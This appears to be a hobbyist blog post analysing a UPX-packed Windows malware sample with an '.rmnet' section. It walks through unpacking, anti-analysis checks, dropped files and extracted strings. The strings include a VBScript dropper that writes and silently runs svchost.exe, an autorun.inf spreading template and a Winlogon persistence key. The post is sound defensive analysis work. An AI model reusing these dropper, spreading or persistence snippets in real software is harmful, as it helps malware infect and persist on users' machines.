Back with another malware sample from MalwareBazaar! An executable, this time. With an interesting icon. Performing a Google Image Reverse Search on the icon provides no clues to its origin. Incredibly strange.

icon

1. Preliminary Static Analysis

Jumping right into the investigation with some static analysis. To get a feel of the sample before diving deep into technical reversing and detonation.


1.1 Packing

Running PEiD to identify packed binaries. High entropies like 7.88 are usually reliable indicators of packing. PEiD also detected the use of UPX (the Ultimate Packer for eXecutables). peid


Wasting no time. I attempted to unpack the binary with the command upx -d malware.exe without success. This raises the question of whether the binary was really packed with UPX, or simply disguising as such. Alternatively, it could just be a general error.

C:\Users\root\Desktop>upx -d malware.exe
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2023
UPX 4.1.0       Markus Oberhumer, Laszlo Molnar & John Reiser    Aug 8th 2023

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: malware.exe: NotPackedException: not packed by UPX

Unpacked 0 files.


1.2 Section Information

Viewing section information with pestudio reveals interesting information.

  • Entry point is in .rmnet, a non-standard section name.
  • UPX0 & UPX1 sections present, standard in UPX packed binaries. The section .rmnet, however, is not a UPX standard.
  • 3 executable sections, UPX0, UPX1 & .rmnet.
  • High entropy in 2 sections, UPX1 and .rmnet.

    peid


1.3 Strings

Extracting strings with the command floss malware.exe. The following stand out. The binary appears to have networking capabilities. And a hardcoded domain 96.blog.hexun.com.

96.blog.hexun.com
zilla/4.0 (Tpatixe; MSIE 
HTTP/1.1
/VIP
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity name="E.App" processorArchitecture="x86" version="5.2.0.0" type="win32"/><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency></assembly>
Srv.exe


2. Detonation

Execution of the malware led to an EXTREMELY UNSETTLING window appearing. And the launch of Internet Explorer. Completely unexpected, and I was quite taken aback.

No intention of being stealthy - its objectives, a complete mystery.

exec


2.1 Procmon Indicators

The malware spawns a complex process tree, opening many instances of msedge.exe. It directly drops and executes the file malwareSrv.exe from the filesystem (Srv.exe concatenated to the orginal filename).

processtree1


I connected FlareVM to a REMnux box with inetsim running. But nothing of interest flowed through.

remnux2


2.2 Regshot Indicators

Regshot produced 260k lines of log. I was unable to parse them meaningfully. Here’s the logs that stand out.

----------------------------------
Files added: 52
----------------------------------
C:\Users\root\Desktop\malwareSrv.exe
2023-08-28 02:26:20, 0x00000020, 56320
C:\Users\root\Microsoft\DesktopLayer.exe
2023-08-28 02:26:20, 0x00000020, 56320


2.3 File Properties

The malware drops malwareSrv.exe in the execution directory. It then creates C:/Users/root/Microsoft and drops DesktopLayer.exe. Below are properties of all 3 files - malware.exe, malwareSrv.exe and DesktopLayer.exe. The cyrillic characters люзанх have no dictionary meaning.

properties


It turns out that malwareSrv.exe and DesktopLayer.exe are exact copies.

C:\Users\root\Desktop>sha256sum.exe malwareSrv.exe
fd6c69c345f1e32924f0a5bb7393e191b393a78d58e2c6413b03ced7482f2320 *malwareSrv.exe

C:\Users\root\Desktop>sha256sum.exe ../Microsoft/DesktopLayer.exe
fd6c69c345f1e32924f0a5bb7393e191b393a78d58e2c6413b03ced7482f2320 *../Microsoft/DesktopLayer.exe


3. Reversing malware.exe

3.1. Manual Unpacking

Popping malware.exe into IDA reveals a final unconditional jump in graph mode (.rmnet:005C231A jmp eax ; jmp 0x5a96d0). I set a breakpoint in x32dbg, and observed as the malware jumped to unpacked code in the UPX1 section. Then, I dumped the process with Scylla (a x32dbg plugin), to obtain the unpacked Executable. However, I soon realized that this wasn’t the OEP (Original Entry Point) of the sample.

unconditional_jmp


It seemed the malware was unpacking its code in parts. Perhaps this was the behaviour of UPX packed binaries. After jumping into 0x5a96d0, the newly unpacked code began unpacking more code in the UPX0 section. Eventually, it reached another unconditional jump at 0x5a987c.

jmp_oep2


Taking the jump showed promising unpacked code. I dumped the process with Scylla. And named the file malware_unpacked.exe.

scylla_suspected_entrypoint


Threw malware_unpacked.exe into IDA. All looked well. Malware successfully unpacked - awesome!

ida_unpacked


Pulled the following interesting strings from the binary with the command floss malware_unpacked.

-------------------------------
| FLOSS ASCII STRINGS (14349) |
-------------------------------
http://28266996.blog.hexun.com
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
POST
HTTP/1.1
Accept: 
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: 
Accept-Language: 
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Content-Length: 
http://
iexplore.exe
C:\WindowsWindows
http://time.tianqi.com/
.tmp
\shell\open\command


3.2. Dynamic Loading

malware.exe performs a chunk of logic before eventually unpacking. It dynamically loads the following kernel32.dll libraries - GetProcAddress, CreateMutexA, ReleaseMutex, CloseHandle, GetLastError, CreateFileA, WriteFile, GetModuleFileNameA, CreateProcessA.

dynamic_loading


3.3. Mutexes

The malware registers a mutex with CreateMutexA, for the string “KyUffThOkYwRRtgPP”. The parameters are as follows.

HANDLE CreateMutexA(
  [in, optional] LPSECURITY_ATTRIBUTES 0,
  [in]           BOOL                  1,
  [in, optional] LPCSTR                "KyUffThOkYwRRtgPP"
);

There are several reasons why malware might create mutexes.

  • Most commonly, to prevent multiple instances of itself from running concurrently.
  • Possibly also used to communicate across threads and processes of the malware.


Mutexes are used as signature to detect known malware. As a result, more advanced techniques employ some randomness. Eg, deducing mutex name from system name.

CreateMutexA


As shown in Process Hacker, the malware has a HANDLE 0x230 on the newly created mutex.

mutex


A few instructions later, the mutex is released with ReleaseMutex. If CreateMutexA raises ERROR_ALREADY_EXISTS, the malware does not spawn malwareSrv.exe.

mutexerror


4. Reversing malwareSrv.exe

Previously, I identified UPX signatures in malwareSrv.exe. Thankfully, this time, the command upx -d malwareSrv.exe unpacked the binary successfully.

C:\Users\root\Desktop>upx -d malwareSrv.exe
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2023
UPX 4.1.0       Markus Oberhumer, Laszlo Molnar & John Reiser    Aug 8th 2023

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     83968 <-     56320   67.07%    win32/pe     malwareSrv.exe

Unpacked 1 file.


4.1. Spawning malwareSrv.exe

Process malwareSrv.exe starts at .rmnet:005C22E0 call dword ptr [ebp+20017412h] ; CreateProcessA from malware.exe.


spawn_malwaresrv


4.2. Anti-Analysis

The process goes into an infinite loop and subsequently crashes if CloseClipboard succeeds and returns a non-zero value. CloseClipboard is expected to fail, since OpenClipboard was not previously called.

This could be used for evasion, where automated sandboxes delibrately return a success code to WinAPI calls, for purposes of getting the suspected malware to execute its malicious functionality.

antianalysis1


In a similar anti-analysis technique identified, the malware queries the Thread Information Block (TIB) for the Last Error Code at fs:[34]. It then checks for ERROR_INVALID_PARAMETER, raised by the CreateFileA call a few instructions earlier.

ERROR_INVALID_PARAMETER is expected. Terminates the malware prematurely if ERROR_INVALID_PARAMETER is not raised.

antianalysis2


Following code flow of this malware has been made incredibly confusing. Jumps and calls to dynamic addresses are common. In this example, the malware dynamically substitutes the current function’s return address with a VirtualAlloc allocated address.

VirtualAlloc is called with the following arguments.

LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress   0x0,
  [in]           SIZE_T dwSize   0xF000,
  [in]           DWORD  flAllocationType  MEM_COMMIT,
  [in]           DWORD  flProtect   PAGE_EXECUTE_READWRITE
);


The return address of the current function is then replaced with the newly allocated address space from VirtualAlloc(). When the current function ends, the process “jumps” to the newly allocated space.

VirtualAlloc


4.2. Unpacking & Investigation

Code is injected into the newly allocated memory through this “unpacking” procedure. To extract the unpacked contents, I can dump the memory page. (But it’s 4am and I’m going to sleep)

unpacking_procedure


(Good morning) The malware jumps to the unpacked code in the newly allocated memory.

malwareSrv_unpacked


Dumping the memory page with x32dbg (Memory Map -> Dump Memory to File).

dump_memory_to_file


Here, we pop the .bin memory dump into IDA. And begin our static analysis.

malwareSrv_unpacked_ida


A call to ntdll.ZwQuerySystemInformation is made at offset 0x36b6. An unknown value at [ebp-804] is compared against the values [0x84d0, 0x8534, 0x8660, 0x86c4]. If it matches any of the values, the process exits prematurely.

This could be an anti-analysis technique, although I am unsure.

malwareSrv_unpacked_exits


To circumvent the exit conditions, I patched the instruction to an unconditional jump.

patching


At some point during execution, the malware referenced an MZ signature in its address space. I dumped the memory page and verified that it was a legitimate PE file, and renamed it to malwareSrv_dumped.exe. (I’m losing my mind)

unknown_mz

malwareSrv_dumped


Eventually, the unpacked process jumps back to malwareSrv.exe at 0x411390. It turns out that more code was unpacked, since 0x411390 contained rubbish in IDA (???). I’ll dump it with Scylla.

return_to_malwareSrv


Unpacked code displayed in IDA for offset 0x411390. In fact the code structure seems to be of another unpacking procecure.

malwareSrv_unpacked_2_ida


Sure enough, the process jumps into more unpacked code :(.

more_unpacked_malwareSrv


Juicy stuff here. And it seems to be the last of it. Really looks like the raw malware, stripped of all its defences.

more_unpacked_malwareSrv2


Once again, I ran floss against the binary. LOTS of additional incriminating strings extracted.

It seems the malware performs the following operations,

  • establishes persistence through Software\Microsoft\Windows NT\CurrentVersion\Winlogon.
  • Runs malicious VBScript.
  • Drops a malicious svchost.exe into %Temp% with GetSpecialFolder(2).
  • Runs the malicious svchost.exe with WSHshell.Run.
-----------------------------
| FLOSS ASCII STRINGS (743) |
-----------------------------
google.com:80
bing.com:80
yahoo.com:80
45Bn99gT
dmlconf.dat
Software\Microsoft\Windows NT\CurrentVersion\Winlogon
Userinit
complete.dat
Software\WASAntidot
Antidot is activate
</SCRIPT>
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = ""
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>RmN
autorun.inf
RECYCLER
.exe
[autorun]
action=Open
icon=%%WinDir%%\system32\shell32.dll,4
shellexecute=.\%s
shell\explore\command=.\%s
USEAUTOPLAY=1
shell\Open\command=.\%s
RMNetwork


The malware leverages Internet Explorer to run its malicious VBScript. Why it goes through the hassle is still a mystery to me.

vmscript_google


For some odd reason, the malware modifies ntdll.dll to PAGE_EXECUTE_READWRITE, overwrites an instruction to jmp ZwWriteVirtualMemory, then modifies ntdll.dll back to PAGE_EXECUTE_READ.

ntdll_corrupt


4.3. Functionality

Finally, let’s break the malware down and discuss its key functionalities.

Firstly, the malware checks for the existence of Internet Explorer with the following methods.

  • Calls RegQueryValueExA on the registry key Computer\HKEY_CLASSES_ROOT\http\shell\open\command.
  • Calls RegQueryValueExA on the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE
  • Checks whether %ProgramFiles%\Internet Explorer\iexplore.exe exists with FindFirstFileA.

Secondly, checks for the mutex KyUffThOkYwRRtgPP,

http_shell_open_command


Thirdly, copies the previously dropped malwareSrv.exe to C:\Program Files (x86)\Microsoft\DesktopLayer.exe, and executes it.

Next, it dynamically loads the following undocumented WinAPIs - LdrLoadDll, LdrGetDllHandle, LdrGetProcedureAddress, RtlInitUnicodeString, RtlUnicodeStringToAnsiString, RtlFreeAnsiString, RtlInitString, RtlAnsiStringToUnicodeString, RtlFreeUnicodeString, ZwProtectVirtualMemory, RtlCreateUserThread, ZwFreeVirtualMemory, ZwDelayExecution, ZwQueryInformationProcess.

nondocs_apis


5. malwareSrv_dumped.exe?

This strange executable was memory dumped when I noticed a MZ signature in the process’ address space. It has a UPX signature, but the upx -d command failed.

malwareSrv_dumped


I manually unpacked it. Turns out it was just the same unpacked code that we investigated in 4.3. Functionality.

malwareSrv_dumped_x86


6. Closing

Unfortunately, I will end the analysis here. Consider this blog entry a convoluted braindump of my analysis for this sample. I would estimate a total of 9 hours spent, over the course of 7 days.

While finding evidence of (malicious?) domains and scripts embedded within the malware, I was unable to get said branches to run - which was pretty disappointing. That said, there is enough evidence to consider this binary malicious.

A hair-pulling sample, nonetheless. I look forward to more.

Thanks for tuning in!